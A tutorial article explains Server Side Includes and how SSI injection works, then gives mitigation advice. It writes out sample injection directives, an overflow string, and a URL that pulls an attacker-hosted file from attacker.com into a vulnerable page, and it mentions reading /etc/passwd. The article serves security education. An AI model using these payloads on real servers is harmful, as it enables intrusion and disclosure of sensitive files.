What is a Server Side Include Injection Attack or SSI Injection Attack ?

If not redirected, please click here https://www.thesecuritybuddy.com/vulnerabilities/what-is-ssi-injection-attack-or-server-side-includes-injection-attack/

Many a times attackers exploit security vulnerabilities in web applications and inject their malicious codes into the server to steal sensitive data, spread malware or do other malicious activities. Server Side Includes Injection Attack or SSI Injection Attack is one such attack.

In SSI Injection Attack, the attacker takes advantage of security vulnerabilities of web applications to inject their malicious code using Server Side Includes directives and perpetrate the attacks.

Let's discuss in details how it is actually done.

What is Server Side Includes or SSI ?

Nowadays, most of the web servers handle dynamic pages. It takes input from the user in the form of text box, radio buttons, pictures etc and the information is passed to a program in the web server, which then processes the information and generates output. The output is sent back to our browser and our browser finally displays the HTML page.

But, at times dynamically generating the whole page becomes inefficient and it is not needed too. Instead, a part of the page content can be dynamically generated and it can be added to an existing HTML page. Server Side Includes are directives that are used for that purpose. Using these directives, dynamic contents can be embedded to an existing HTML page and then displayed.

For example, a webpage may display local date and time to a visitor. Dynamically generating the page every time using some program or dynamic technology may prove to be inefficient. Instead, one can put the following SSI directive to an existing HTML page :

<!--#echo var=”DATE_LOCAL” -->

As a result, whenever the page will be served to the client, this particular fragment will be evaluated and replaced with the current local date and time :

Sunday, 25-Jan-2016 12:00:00 EST

The decision of whether to use SSI directives to dynamically generate a particular fragment of the page or to dynamically generate the whole page using some dynamic technology, often depends on how much of the page is to be dynamically generated. If a major part of the page content is to be dynamically generated, then SSI may not be a good solution.

Server Side Includes Injection Attack or SSI Injection Attack

In SSI Injection Attack, the attacker first finds out whether a web application is vulnerable to Server Side Includes Injection or SSI Injection. Normally, a web application is vulnerable to SSI Injection through manipulation of existing SSI directives in use or through lacking in proper validation of user inputs.

If a web application has pages with extension .stm, .shtm, .shtml, then that would indicate to the attackers that the web application is using SSI directives to dynamically generate page contents. At this point, if the web server permits SSI execution without proper validation, then the attacker can trick the webserver to execute SSI directives to manipulate filesystem of the web server and thus, to add, modify and delete files or to display content of sensitive files like /etc/passwd.

On the other hand, the attacker can type the following characters in the user input field to find out whether the web application properly validates the user inputs :

< ! # = / . " - > and [a-zA-Z0-9] 

As these are the characters often used by SSI directives, the web application will become vulnerable to SSI Injection if it cannot properly validate the user inputs and allow these characters to be present in the input when they are not expected. The attacker can take advantage of that and access sensitive information or execute shell commands for nefarious purposes.

As the SSI directives are executed before supplying the page content to the client, the data intended for the attack will be displayed the next time the webpage is loaded.

Example

Suppose, a web application is vulnerable to SSI Injection. At this point, the attacker can trick the web server to execute the following SSI directive and display current document filename :

<!--#echo var=”DOCUMENT_NAME” -->

The attacker can create a file attack.shtml with the following content :

attack.shtml
<!--#include file=”AAAA....AAAA” -->

with number of A's more than 2049.

At this point, suppose the web application loads a legitimate URL like :

vulnerable.com/index.asp?page=about.asp

Now, the attacker can include his own file attack.shtml in the web application like :

vulnerable.com/index.asp?page=attacker.com/index.asp?page=attack.shtml


If the web server returns a blank page, that would indicate an overflow has occurred. So, the attacker can now get enough information to trick the web application to execute malicious code.

Mitigation

- User inputs should be properly validated so that it does not contain characters like <, !, #, =, /, ., ", -, > and [a-zA-Z0-9] if they are not needed.
- Make sure the web server only executes SSI directives needed for a particular web page.
- HTML entity encode user inputs before passing it to a page that executes SSI directives.
- Make sure a page is executed with the permission of the file owner, instead of that of the web server user.


Being informed about various web application security vulnerabilities is the very first step towards safeguarding a web application. Hope this article served its purpose.